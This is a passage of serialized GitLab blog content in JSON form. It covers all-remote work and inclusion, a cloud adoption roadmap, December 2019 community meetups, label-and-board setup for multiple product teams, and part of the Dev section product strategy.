to relocate for work, their communities benefit. Image by [Darren Murph](https://twitter.com/darrenmurph)](https://about.gitlab.com/images/blogimages/community-outdoors-eu.jpg){: .shadow.medium.center}\nWhen people aren't forced to relocate for work, their communities benefit. Image by [Darren Murph](https://twitter.com/darrenmurph)\n{: .note.text-center}\n\nAll-remote encourages team members to work and live in a place where they are most fulfilled. This enables our team to reside in regions or communities that provides far more than shelter, but enriches their life experience by enabling long-lasting relationships with people who shape and support them.\n\nBy not forcing people to relocate for work, companies which embrace all-remote are benefitting local comunities in a significant way. Rural communities receive [outsized economic benefit](https://www.lajuntatribunedemocrat.com/news/20190808/state-remote-work-program-could-help-rural-communities), while major metropolitan areas experience less strain on infrastructure.\n\nStay-at-home [parents](/company/culture/all-remote/people/#parents) who wish to further their career, [caregivers](/company/culture/all-remote/people/#caretakers), [military spouses](/company/culture/all-remote/people/#military-spouses-and-families), and those who struggle with mobility can all contribute meaningfully when a company removes the location requirement from the job description.\n\nAll-remote opens the hiring door to places far beyond the usual job centers of the world. Candidates are not limited by geography and [we champion this approach](/blog/all-remote-is-for-everyone/) – to the extent that it’s possible – for all companies.\n\n{: .note}\n\n",[754,676,3798],{"slug":25957,"featured":6,"template":678},"how-all-remote-supports-inclusion-and-bolsters-communities","content:en-us:blog:how-all-remote-supports-inclusion-and-bolsters-communities.yml","How All Remote Supports Inclusion And Bolsters Communities","en-us/blog/how-all-remote-supports-inclusion-and-bolsters-communities.yml","en-us/blog/how-all-remote-supports-inclusion-and-bolsters-communities",{"_path":25963,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25964,"content":25969,"config":25974,"_id":25976,"_type":16,"title":25977,"_source":17,"_file":25978,"_stem":25979,"_extension":20},"/en-us/blog/cloud-adoption-roadmap",{"title":25965,"description":25966,"ogTitle":25965,"ogDescription":25966,"noIndex":6,"ogImage":23394,"ogUrl":25967,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25967,"schema":25968},"Cloud strategy and adoption roadmap for businesses","Everything you need to know for transforming your business to the cloud and how to plan out the perfect strategy for it.","https://about.gitlab.com/blog/cloud-adoption-roadmap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Cloud strategy and adoption roadmap for businesses\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-12-05\",\n      }",{"title":25965,"description":25966,"authors":25970,"heroImage":23394,"date":25971,"body":25972,"category":8943,"tags":25973},[18462],"2019-12-05","\n\nOrganizations continue to focus on scalability and growth, and cloud can be a valuable asset in those strategies. When it comes to cloud adoption, not every organization takes the same path – some already work in multiple clouds, some work in industries with strict compliance standards, and some may only be starting their cloud journey.\n\nIt’s estimated that investments in infrastructure to support cloud computing account for [more than a third of all IT spending](https://www.zdnet.com/article/top-cloud-providers-2019-aws-microsoft-azure-google-cloud-ibm-makes-hybrid-move-salesforce-dominates-saas/), and teams want to make sure they’re investing in the right things that benefit them for the long-term. In order to implement the best cloud strategies to meet your needs, a cloud adoption roadmap should have four key steps:\n\n*   Assessment\n*   Planning\n*   Implementation\n*   Optimization\n\n## What is cloud adoption?\n\nCloud adoption aims to mitigate risk, reduce costs, and gain organizational scalability of database capabilities. “The cloud” refers to software and services that live and operate online rather than in an on-premise network of servers or local computers, and it creates incomparable flexibility in daily operations. The cloud provides the necessary speed for an organization to launch new releases quickly, securely, and efficiently.\n\n## Assessing cloud-readiness\n\nCloud adoption does not guarantee scalability and growth on its own. In order for cloud implementation to be successful, organizations have to identify challenges and expertise gaps that affect their cloud-readiness. For example, a lift-and-shift to the cloud isn’t going to produce great results if existing business applications are monolithic and/or outdated. In this scenario, companies will need to commit to an [application modernization](/blog/application-modernization-best-practices/) strategy that makes a cloud investment worthwhile.\n\nFor large enterprises currently working in a traditional IT environment, there may be internal barriers such as lack of organizational buy-in, reluctance to invest the required resources in a multiyear effort, or even regulatory and compliance restraints. On average, [enterprise adoption remains low at around 20%](https://www.mckinsey.com/business-functions/mckinsey-digital/our-insights/cloud-adoption-to-accelerate-it-modernization), so it may be beneficial for these organizations to adopt cloud’s [agile](/solutions/agile-delivery/) and automated operating model within their traditional IT, at least in the short-term.\n\nAs part of the assessment stage of your cloud adoption roadmap, ask yourself the following questions:\n\n1. Do we have the internal expertise necessary for a cloud migration or will we need to implement an education or hiring plan?\n2. Do we have industry requirements or compliance regulations to consider?\n3. Will we need to tackle legacy application modernization as well?\n4. What strategies have worked for similar companies in similar industries?\n\n## Creating a plan\n\nAfter identifying challenges and opportunities to cloud adoption, the work on an implementation plan begins. Whether it’s a cloud transformation or just migrating from one cloud to another, it’s important to create actionable steps and have the right leadership in place to guide the process.\n\nKeeping your assessment in mind, your organization will need to decide which clouds and cloud models work best for your needs and business goals. You’ll need to evaluate public, private, or hybrid clouds, in addition to SaaS, IaaS and PaaS cloud models, to determine which combination fits within your limitations. Having leaders with expertise in these areas of cloud computing, rather than relying on information from the cloud service providers themselves, will ensure that decisions are unbiased with your unique needs in mind.\n\n![cloud models](https://about.gitlab.com/images/blogimages/cloud_models.png){: .shadow.medium.center}\n\nBut what if you want to use multiple cloud providers? This is where a [multicloud](/topics/multicloud/) approach can be beneficial.\n\n### What is multicloud?\n\nMulticloud describes [how enterprises use multiple cloud providers to meet different technical or business requirements](https://www.zdnet.com/article/multicloud-everything-you-need-to-know-about-the-biggest-trend-in-cloud-computing/). At its core, multicloud is made possible through cloud-native applications built from containers using services and allows for multiple services to be managed in one architecture. Research indicates [85% of enterprises currently operate in multiple clouds](https://www.ibm.com/blogs/cloud-computing/2018/10/19/survey-multicloud-management-tools/).\n\n\n\nDuring the planning phase of your cloud roadmap, consider the following:\n\n1. Do we have internal expertise to make sure we’re making the right decisions?\n2. Have we evaluated the different cloud models?\n3. Would a multicloud approach be a good fit?\n\n## Putting plans into action\n\nThe implementation phase usually requires multiple steps and thrives when teams are able to communicate and collaborate with each other. As plans change (and they inevitably will), high visibility ensures teams can adapt.\n\nIn our recent migration from Azure to GCP, we documented our progress publicly and leaned on three of our [core values](https://handbook.gitlab.com/handbook/values/): efficiency, iteration, and transparency. We believe in taking small steps and looking for the most [boring solutions](https://handbook.gitlab.com/handbook/values/#boring-solutions) because that allows us to get feedback quickly and reduce cycle times. Whether migrating to the cloud for the first time, or just moving from one cloud to another, things rarely ever go smoothly. By practicing iteration, we were able to course correct and come up with the right solutions quickly. Learn how we put our values into action and watch our presentation at Google Cloud Next ‘19.\n\n[GitLab’s journey from Azure to GCP](/blog/gitlab-journey-from-azure-to-gcp/)\n{: .alert .alert-gitlab-purple .text-center}\n\nWhen implementing cloud strategies, expect your approach to DevOps to change as well.\n\n[DevOps](/topics/devops/) is all about developers and operations working together and using the cloud as a common language, and [cloud native app development](/topics/cloud-native/) will require a shift to a DevOps operating structure. Once you’ve decided on the cloud service and deployment models in your adoption roadmap, you’ll also need to evaluate which DevOps tools support your cloud initiatives. [Developer tools have a high capacity for driving cloud usage](/blog/gitlab-ci-cd-is-for-multi-cloud/) because once you have your application code hosted, the natural next step is finding a place to deploy it. For example, if you decided during the planning phase to adopt multicloud, having cloud-agnostic tools will play a big role in the success of that strategy.\n\nDuring the implementation phase of your cloud roadmap, consider the following:\n\n1. Take small steps and practice iteration so you can course correct effectively.\n2. Make sure teams have visibility into the cloud process and can collaborate as things progress.\n3. Ensure your DevOps structure will be able to support your cloud and cloud native application development initiatives.\n4. Evaluate developer tools and consider if cloud-agnostic tools would allow more flexibility with multiple clouds.\n\n## Cloud optimization and beyond\n\nWhile there will inevitably be a point when cloud models and DevOps tools have been implemented, a cloud adoption roadmap is really a never-ending journey for continuous improvement. By the time a cloud adoption timeline has been completed, there will be new technologies and new paths for cloud optimization already on the horizon. A solution you implemented may need to be deprecated in favor of something that works a little better. A valuable part of iteration is making decisions and acting quickly, and that is a process that never ends.\n\nIn [Cloud Powers the New Platform Economy](https://www.forrester.com/report/Cloud+Powers+The+New+Platform+Economy/-/E-RES120506), Forrester explains that you must automate, integrate, and orchestrate all the moving parts of your cloud to keep up with the pace of innovation the cloud economy demands. As you continue to improve your cloud ecosystems, consider the following:\n\n1. Are we keeping up with the pace of innovation and how can we improve?\n2. Are we investing in next-generation skills and providing continuing education opportunities?\n3. Are we evaluating new technologies?\n4. Are we managing our cloud effectively?\n\n\nCover image by [Matt Howard](https://unsplash.com/@thematthoward?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/journey?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[4103,3949],{"slug":25975,"featured":6,"template":678},"cloud-adoption-roadmap","content:en-us:blog:cloud-adoption-roadmap.yml","Cloud Adoption Roadmap","en-us/blog/cloud-adoption-roadmap.yml","en-us/blog/cloud-adoption-roadmap",{"_path":25981,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25982,"content":25988,"config":25993,"_id":25995,"_type":16,"title":25996,"_source":17,"_file":25997,"_stem":25998,"_extension":20},"/en-us/blog/gitlab-december-2019-meetups",{"title":25983,"description":25984,"ogTitle":25983,"ogDescription":25984,"noIndex":6,"ogImage":25985,"ogUrl":25986,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25986,"schema":25987},"GitLab meetups this December: Global locations & events","Don't miss your last chance to attend a GitLab meetup in 2019!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679712/Blog/Hero%20Images/0919meetups.png","https://about.gitlab.com/blog/gitlab-december-2019-meetups","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Where to find a GitLab Meetup in December: México City, Wellington, Nigeria, São Paolo, MSP, Chicago, Geneva\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Coghlan\"}],\n        \"datePublished\": \"2019-12-05\",\n      }",{"title":25989,"description":25984,"authors":25990,"heroImage":25985,"date":25971,"body":25991,"category":18484,"tags":25992},"Where to find a GitLab Meetup in December: México City, Wellington, Nigeria, São Paolo, MSP, Chicago, Geneva",[6631],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nGitLab's community is critical to our success and meetups are important for our community. They give our community members a chance to engage with each other, make new connections, and better educate themselves about the power of GitLab. \n\nThanks to an amazing group of meetup organizers, GitLab has a network of [36 meetup groups](https://www.meetup.com/pro/gitlab) with more than 7,700 members around the world. In 2019, our organizers hosted more than 100 events. We expect the numbers of organizers, groups, meetup members, and events to grow significantly in 2020.\n\nIf you'd like to attend a GitLab Meetup, you can see our December meetups listed below. No event in your area? Our [Meetup Pro](https://www.meetup.com/pro/gitlab) page will show you if we have a group near you. No group near you? Why not try starting your own GitLab Meetup in 2020? We'll be happy to support you along your journey. Take a look at the [GitLab Meetups page](/community/meetups) or reach out to [me](https://twitter.com/john_cogs/) to learn how GitLab can help you start a meetup in your area.\n\n![December 2019 Meetups Map](https://about.gitlab.com/images/blogimages/dec2019meetups.jpeg){: .shadow}\n\n#### México City GitLab Meetup\n\nOn December 7 in México City, join the community for part two of an intro to GitLab series. If you missed part one, you're still encouraged to attend! Details and RSVP on [Meetup](https://www.meetup.com/Mexico-City-GitLab-Meetup/events/266371707/).\n\n#### GitLab Meetup ANZ\n\nJoin us for this Lunch and Learn Lab Session on December 10 in Wellington, NZ. You will break into small groups and develop your understanding and skills through hands-on practical use of GitLab. Bring a laptop! Details and RSVP on [Meetup](https://www.meetup.com/GitLabANZ/events/266416769/).\n\n#### GitLab Nigeria Community\n\nThe GitLab Nigeria Community will gather on December 11 in Abraka for an Introduction to Git with GitLab workshop. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-Nigeria-Community/events/266953770/).\n\n#### GitLab Nigeria Community\n\nJoin this meetup in Bauchi, Nigeria to learn about Version Control and Project Management with GitLab. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-Nigeria-Community/events/266288194/).\n\n#### São Paulo GitLab Meetup\n\nLearn about GitLab CI and GitOps at this meetup in São Paolo on December 12. Details and RSVP on [Meetup](https://www.meetup.com/Sao-Paulo-GitLab-Meetup/events/266582056/).\n\n#### GitLab MSP User Group\n\nThe GitLab MSP User Group is meeting for the first time on December 12. Hear talks from two GitLab customers on their DevOps journeys along with recaps of KubeCon and re:Invent from event attendees. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-MSP-Meetup/events/266644322/).\n\n#### GitLab Chicago User Community\n\nEase into the Holidays and come learn how easy it is to run your own feature-rich, self-managed GitLab CI/CD! This meetup on December 19 in Chicago will be the first for the group. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-Chicago-User-Community/events/266588713/).\n\n#### Docker Geneva\n\nOn December 19 in Geneva, you can see a live demo and learn how GitLab AutoDevOps supports builds, tests, and deployments on Kubernetes. Details and RSVP on [Meetup](https://www.meetup.com/Docker-Geneva/events/266891129/).\n\n#### GitLab Nigeria Community\n\nBring your laptop for a day of learning about Git, GitLab, collaboration and community at this meetup on December 21 in Warri. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-Nigeria-Community/events/266715018/).\n",[1899,1899,1899],{"slug":25994,"featured":6,"template":678},"gitlab-december-2019-meetups","content:en-us:blog:gitlab-december-2019-meetups.yml","Gitlab December 2019 Meetups","en-us/blog/gitlab-december-2019-meetups.yml","en-us/blog/gitlab-december-2019-meetups",{"_path":26000,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26001,"content":26007,"config":26011,"_id":26013,"_type":16,"title":26014,"_source":17,"_file":26015,"_stem":26016,"_extension":20},"/en-us/blog/how-to-setup-gitlab-for-multiple-product-teams",{"title":26002,"description":26003,"ogTitle":26002,"ogDescription":26003,"noIndex":6,"ogImage":26004,"ogUrl":26005,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26005,"schema":26006},"Managing multiple product categories in GitLab","Exploring issue mangement options for product teams that are all contributing to a single repository.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680898/Blog/Hero%20Images/filing-cabinet.jpg","https://about.gitlab.com/blog/how-to-setup-gitlab-for-multiple-product-teams","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Managing multiple product categories in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabe Weaver\"}],\n        \"datePublished\": \"2019-12-05\",\n      }",{"title":26002,"description":26003,"authors":26008,"heroImage":26004,"date":25971,"body":26009,"category":299,"tags":26010},[4941],"\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2019-12-30.\n{: .alert .alert-info .note}\n\nIn a [recent tweet](https://twitter.com/mrguillaum/status/1202530376415088641), a member of the wider GitLab community asked how to set up GitLab so multiple product teams, each with their own unique workflows, could contribute effectively to a single repository. Let's explore some options.\n\n## GitLab's approach\n\nGiven that GitLab is growing very quickly, we've had to put a lot of thought into organizational structure and mapping to create a well structured workflow within GitLab. The entirety of the product surface area is comprised of [seven distinct product sections](/handbook/product/categories/). Each section consists of several [stages](/handbook/product/categories/#hierarchy), and each stage contains several categories. Our cross-functional product teams are called groups and the groups typically own a handful of categories within a stage. For example, [I'm the senior product manager for the Project Management group](/company/team/#gweaver), which is responsible for the [issue tracking](https://docs.gitlab.com/ee/user/project/issues/), [Kanban boards](https://docs.gitlab.com/ee/user/project/issues/index.html#issue-boards), and [time tracking](https://docs.gitlab.com/ee/user/project/time_tracking.html#time-tracking) categories. There are two other groups within the Plan stage.\n\nWhile each product team can technically have their own workflow, we've deliberately tried to standardize across teams. We accomplish this primarily through leveraging group level issue boards and labels. I've created a [demo group](https://gitlab.com/tech-marketing/demos/gitlab-agile-demo/demo-group/examples-for-configuring-gitlab-for-multiple-product-teams/gitlab-approach) where you can see the our basic approach setup directly within GitLab. The first step to get up and running is to configure the labels. Within our top level group, we've created specific label sets to help us organize our issues, MRs, and issue boards.\n\n### Labels for managing ownership and surface area:\n\n- `stage::name` denotes which issues belong to a given stage. In the demo, I created the `stage::plan` label. This is especially useful for filtering issue boards. By using the [scoped label](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) syntax, we get mutually exclusive labels so an issue or MR can only ever be assigned to a single stage.\n- `group::name` denotes which issues belong to a given cross-functional product team. In the demo, I created `group::project management`, `group::portofolio management`, and `group::certify`, which are the actual groups within GitLab's Plan stage. Again, the use of scoped labels assures mutual exclusivity.\n- `category::name` denotes which issues belong to a given category within a stage. In the demo, I created `category::epics`, `category::issue boards`, `category::issue tracking`, `category::requirements management`, `category::roadmaps`, and `category::service desk`, which are the main categories within the Plan stage.\n\n### Labels for tracking workflow and issue types:\n\n- `type::name` denotes the type of issue. In the demo, I've created `type::debt`, `type::feature`, and `type::defect`. Given an issue can only ever be one type, the use of the scoped label syntax is best.\n- `workflow::state` denotes which workflow state an issue is in. In the demo, I've created `workflow::validation backlog`, `workflow::problem validation`, `workflow::solution validation`, `workflow::planning breakdown`, `workflow::scheduling`, `workflow::ready for dev`, `workflow::in dev`, `workflow::review`, and `workflow::verification`. You can design your workflow however you want, but it is helpful to have a [discussion](https://gitlab.com/gitlab-org/plan/issues/34) with your team to clarify transitions from one workflow state to another.\n\nWith our labels in place, we can now spin up some group level issue boards for the different product teams. The [Project Management team's issue board](https://gitlab.com/groups/tech-marketing/demos/gitlab-agile-demo/demo-group/examples-for-configuring-gitlab-for-multiple-product-teams/gitlab-approach/-/boards/1438121?&label_name[]=group%3A%3Aproject%20management&label_name[]=stage%3Aplan) uses a common naming convention and is scoped to only include issues that contain the `group::project management` and `stage::plan` labels. The lists are set up according to the `workflow::*` labels we defined earlier. The [Portfolio Management](https://gitlab.com/groups/tech-marketing/demos/gitlab-agile-demo/demo-group/examples-for-configuring-gitlab-for-multiple-product-teams/gitlab-approach/-/boards/1438186?&label_name[]=group%3A%3Aportfolio%20management&label_name[]=stage%3Aplan) and [Certify](https://gitlab.com/groups/tech-marketing/demos/gitlab-agile-demo/demo-group/examples-for-configuring-gitlab-for-multiple-product-teams/gitlab-approach/-/boards/1438188?&label_name[]=group%3A%3Acertify&label_name[]=stage%3Aplan) teams use a similar structure. The benefit of standardizing on a workflow is that it allows you to easily move from one team to the next and understand what's going on, as well as create rollup issue boards that cut across many teams. In the demo, I created a [stage level issue board](https://gitlab.com/groups/tech-marketing/demos/gitlab-agile-demo/demo-group/examples-for-configuring-gitlab-for-multiple-product-teams/gitlab-approach/-/boards/1438190?&label_name[]=stage%3Aplan) for Plan. All of the issues belong to the same project that contains the single repository where all of the product teams contribute.\n\nThe last thing to cover is using milestones to align everyone around a shared release cadence. In the demo, I created [two group milestones](https://gitlab.com/groups/tech-marketing/demos/gitlab-agile-demo/demo-group/examples-for-configuring-gitlab-for-multiple-product-teams/gitlab-approach/-/milestones) that all of the issues map to. This allows you to see progress at a high level as well as a breakdown of issue status by label type. We're currently working on allowing an issue to be associated to [multiple milestones](https://gitlab.com/gitlab-org/gitlab/issues/5135), enabling milestones to have [types](https://gitlab.com/gitlab-org/gitlab/issues/35290), and adding [burnup charts](https://gitlab.com/gitlab-org/gitlab/issues/6903) to milestones. Once these launch, teams will have even more flexibility to create shared milestones as well as team-specific milestones.\n\n## Other options\n\nThere are a few less desirable ways to setup GitLab to help coordinate multiple product teams:\n\n### The project approach\n\nWith [the project approach](https://gitlab.com/examples-for-configuring-gitlab-for-multiple-product-teams/project-approach), you can create a project for each individual team and disable the repo. Then create a shared repo where all the merge requests go. Each product team would then have its own project-level milestones, issue boards, and issues, but could still nicely tie into the shared repository. Here's an [example issue and MR](https://gitlab.com/examples-for-configuring-gitlab-for-multiple-product-teams/project-approach/portfolio-management-team/issues/1) demonstrating how this works. The downside of this approach is that you lose the \"Create Merge Request\" button that issues will have if the issue and repo are within the same project. The \"Create Merge Request\" button allows you to quickly bootstrap your work by [spinning up a branch and WIP MR](https://gitlab.com/examples-for-configuring-gitlab-for-multiple-product-teams/gitlab-approach/shared-project/merge_requests/1). You also lose the ability to accurately track [cycle analytics](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html) out-of-the-box because it is currently based on project level data and not group level data.\n\n### Single issue tracker project\n\nI've seen some teams use a [single issue tracker project](https://gitlab.com/examples-for-configuring-gitlab-for-multiple-product-teams/multiple-repos) with multiple repositories within the group. They use a similar labeling system described in GitLab's approach, but separate the concerns of code management from issue management. While this works, it has the same downsides as the project approach.\n\n## General best practices & conventions\n\nTo sum things up, there are some generally good practices to follow when setting up your organizational structure within GitLab:\n\n- Centralize label management within the top level group. This helps avoid label duplication and keeps all teams on the same page.\n- Manage issues via issue boards from the group level and keep issues within the same project as their repository to get the most benefit from GitLab's capabilities.\n- Create issue boards for different activities – use milestone lists for a release planning board, use scoped workflow labels for a sprint board, etc.\n- Create shared milestones within the top-level group. This allows them to cascade throughout all sub-groups and projects.\n- If you use epics, a maximum of three layers of nesting is recommended to avoid confusion and unneccessary complexity.\n- Use [GitLab triage](https://gitlab.com/gitlab-org/gitlab-triage) to create policies to help automate issue management.\n\nIf you want to talk shop or bounce around ideas, feel free to reach out via email – gweaver at gitlab dot com.\n\nCover image by [Maksym Kaharlytskyi](https://unsplash.com/@qwitka) on [Unsplash](https://unsplash.com/photos/Q9y3LRuuxmg) {: .note}\n",[4144,1444],{"slug":26012,"featured":6,"template":678},"how-to-setup-gitlab-for-multiple-product-teams","content:en-us:blog:how-to-setup-gitlab-for-multiple-product-teams.yml","How To Setup Gitlab For Multiple Product Teams","en-us/blog/how-to-setup-gitlab-for-multiple-product-teams.yml","en-us/blog/how-to-setup-gitlab-for-multiple-product-teams",{"_path":26018,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26019,"content":26024,"config":26030,"_id":26032,"_type":16,"title":26033,"_source":17,"_file":26034,"_stem":26035,"_extension":20},"/en-us/blog/dev-strategy-review",{"title":26020,"description":26021,"ogTitle":26020,"ogDescription":26021,"noIndex":6,"ogImage":14210,"ogUrl":26022,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26022,"schema":26023},"Tell us what you think about our Dev strategy","Take a look at how we're going to help you better manage, plan, and create.","https://about.gitlab.com/blog/dev-strategy-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tell us what you think about our Dev strategy\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Pundsack\"}],\n        \"datePublished\": \"2019-12-04\",\n      }",{"title":26020,"description":26021,"authors":26025,"heroImage":14210,"date":26027,"body":26028,"category":299,"tags":26029},[26026],"Mark Pundsack","2019-12-04","\n\nThis is the first in a series of posts diving into our strategy and plans for the GitLab product. This post focuses on the [Dev section](/handbook/product/categories/#dev-section) and is an excerpt of our public [direction page for Dev](/direction/dev/), which you can read for more detail. You can also watch our director of product for Dev, [Eric Brinkman](/company/team/#ebrinkman) present the strategy below. When you're done reading (or watching), please give us your feedback via the [survey](#survey) below!\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/mIpHEbyhsj0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n![Dev Overview](https://about.gitlab.com/images/direction/dev/dev-overview.png)\nSee how the GitLab product team plans to advance our Dev strategy over the next 12 months to three years.\n{: .note.text-center}\n\n## Overview of our Dev product\n\nBefore we dive into the our vision for the future of Dev at GitLab, we're providing some more context on our product and how it fits into the market.\n\nThe Dev section is made up of the [Manage](/handbook/product/categories/#manage-stage), [Plan](/handbook/product/categories/#plan-stage), and [Create](/handbook/product/categories/#create-stage) stages of the DevOps lifecycle. These stages mark the leftmost side of the DevOps lifecycle and primarily focus on the creation and development of software. The scope for Dev stages is wide and encompasses a number of analyst categories including [value stream management](/solutions/value-stream-management/), project portfolio management, enterprise agile planning tools, source code management, IDEs, design management, and even ITSM. It is difficult to truly estimate the total addressable market (TAMkt) for the Dev section, as our scope includes so many components from various industries, but research indicates the estimated [TAM](https://docs.google.com/spreadsheets/d/1HYi_l8v-wTE5-BUq_U29mm5aWNxnqjv5vltXdT4XllU/edit?usp=sharing) in 2019 is roughly ~$3B, growing to ~$7.5B in 2023 (26.5% CAGR).\n\nBased on [DevOps tool revenue](https://drive.google.com/file/d/1VvnJ5Q5PJzPKZ_oYBHGNuc6D7mtMmIZ_/view) at the end of 2018 and comparing to GitLab annual recurring revenue at the end of FY20 Q3, our estimated market share is approximately 1.5% based on revenue. (Note: this assumes we can attribute 100% of GitLab revenue to Dev stages.) Market share based on source code management is somewhere in the [30%](https://docs.google.com/document/d/15TLEUc9BxiiB9N33MW-7zGvfitfFXQj3TM8BfM2q4hM/edit?usp=sharing) range.\n\nNearly [half of organizations](https://drive.google.com/file/d/17ZSI2hGg3RK168KHktFOiyyzRA93uMbd/view?usp=sharing) still have not adopted DevOps methodologies, despite [data](https://drive.google.com/file/d/17MNecg84AepxWlSDB5HjNBrCJggaS9tP/view?usp=sharing) that indicates far higher revenue growth for organizations that do adopt these strategies. Migrating a code base to a modern, Git-backed source control platform like GitLab can often be the first step in a DevOps transformation. As such, we must provide industry-leading solutions in source code and code review, as this is not only the entry into DevOps for our customers, but typically the entry into the GitLab platform. Once a user has begun using repositories and code review features like merge requests, they often move “left” and “right” to explore and use other capabilities in GitLab, such as CI and project management features.\n\nPer our stage monthly active user data, the GitLab stages with the highest useage are Manage and Create. As such, these stages must focus on security fixes, bug fixes, performance improvements, UX improvements, and depth more than other areas of GitLab. Plan, while introduced in 2011 with the release of issue tracking, still falls far behind market leaders who have better experiences for sprint management, portfolio management, roadmapping, and workflows.\n\nOther areas, such as value stream management, are nascent to both GitLab and the market and will require more time devoted to executing problem and solution validation discovery.\n\nOver the next year, Dev will require focus on both breadth and depth activities, and each stage will require significant investment to accelerate the delivery of security issues, performance issues, and direction items.\n\n## Vision themes\n\nOur vision for the Dev section is to provide the world’s best product creation platform. We believe we have a massive opportunity to change how cross-functional, multi-level teams collaborate by providng an experience that breaks down organizational silos and enables better collaboration. We want to deliver a solution that enables higher-quality products to be created faster. The following themes are listed below to surface our view of what will be important to the market and to GitLab over the next three to five years. As such, they will be the cornerstone of our three-year strategy, and all activities in the one-year plan should advance GitLab in one or more of these areas.\n\n### Efficient and automated code review\n\nCode review should be a delightful experience for all involved in the process. Over time, we expect the code review process to evolve from where it is today to become a mostly automated process. Along the way, incremental improvements will occur, where developer platforms like GitLab will focus on performance and usability of the code review tools. Code review should be an efficient process, and the easier GitLab can make code review, the more efficient Dev teams become. [Research indicates that better code review should reduce the number of bugs](https://blog.semmle.com/code-review-metrics/) and increase the amount of higher-quality features an organization can ship. The code review process will continue to provide a venue for developers to learn and collaborate together.\n\nFor example, GitLab will:\n\n* Load large, multi-file diffs faster than any other comparable product on the market.\n* Provide tailored insights to the code reviewer, alerting them to the most important areas to review.\n* Allow for client- and server-side evaluation of code where possible, and integrate it into the code review process.\n\n### Measurement and increased efficiency of the value stream\n\nPeter Drucker has said “[If you can’t measure it, you can’t improve it](https://guavabox.com/if-you-cant-measure-it-you-cant-improve-it/)”. Many Dev teams have no way of measuring their efficiency, and even if they do, there is not enough feedback, information, or actionable insights to improve the efficiency of their team. Even then, once efficiency is improved, it can be difficult to tell if a team’s performance is good or bad, as there is often no point of comparison. Even the best performing team in an organization could be worse than the competition. Increasing efficiency is paramount to companies increasing their **time to value** and helping organizations answer **“Is my DevOps transformation working?”**\n\nWe believe efficiency can be improved in two ways. The first way is by improving existing value stream activities and making them more efficient. This focuses on making existing activities as fast as possible. The second way is to question and change the value stream into higher value-added activities at each step. GitLab’s vision is to help answer both of these questions: “Am I doing things fast enough?” and “Am I doing the right things?”\n\nToday, value stream management is largely focused on visualizing the value chain through deployment. GitLab is uniquely positioned to also visualize, track, and measure value chain activities to the right of deployment. For example, the value created by post-launch activities, such as press releases, blog posts, and marketing campaigns should funnel into value stream management, while providing the business with the right data and insights for their value chain.\n\nFor example, GitLab will provide:\n\n* Easy-to-use and customizable tools that measure the efficiency of the DevOps lifecycle.\n* Insight into areas of waste where teams can improve.\n* Recommendations based on large data sets of other teams using GitLab, for comparison.\n* A visual experience for value stream management that goes beyond code deployment.\n\n### DevOps for more personas\n\nDevOps started with the merging of Development and Operations and has since been augmented to include Security in some circles, [highlighting DevSecOps as the next trend](/topics/devsecops/). There are many other personas that are involved in software development, such as product managers, project managers, product designers, finance, marketing, procurement, etc. These personas will continue to expand until nearly every role at knowledge-work companies touches some facet of the DevOps lifecycle. Over time, organizations will realize that teams who work out of the same platform/set of tools are more efficient and deliver faster business and customer value.\n\nBecause of this trend, each persona of the DevOps lifecycle should ultimately be treated as a first-class citizen in GitLab.\n\nFor example, GitLab will provide:\n\n* A better experience for project management workflows.\n* A space for product designers to design and collaborate on designs with product managers and engineers.\n* A Web IDE experience that is able to run the GDK, serving collaborators of all skill sets and hardware, allowing them to contribute to GitLab.\n\n### Enterprise digital transformation\n\nWhile we will continue to solve for the [modern DevOps use case first](/handbook/product/product-principles/#modern-first), most enterprise customers have custom requirements that GitLab does not solve for today. This is a wide-ranging set of custom controls that spans systems such as permissions, approvals, compliance, governance, workflows, and requirements mapping. It is our belief these needs will exist for many years to come, and we will need to incorporate these to truly become a flexible [DevOps platform](/solutions/devops-platform/) that serves enterprise segments. We will strive to do this in ways that are modern and, where possible, adhere to a [“convention over configuration”](/handbook/product/product-principles/#convention-over-configuration) approach, living with the cognitive dissonance that sometimes flexibility will be required in areas we have not been willing to venture into thus far.\n\nAdditionally, compliance, auditing, and surfacing evidence of security/compliance posture will become more important as more GDPR-like legislation is enacted and passed into law. GitLab should make it easy to not only surface and deliver evidence for GitLab controls (i.e., who has access to GitLab, who did what on what group, etc.), but also to track and manage compliance requirements for various legislation our customers may be bound to.\n\nAs examples, GitLab will provide:\n\n* Customizable workflows, unlocking enforcement, approvals, and insight into these workflows.\n* More customizable and 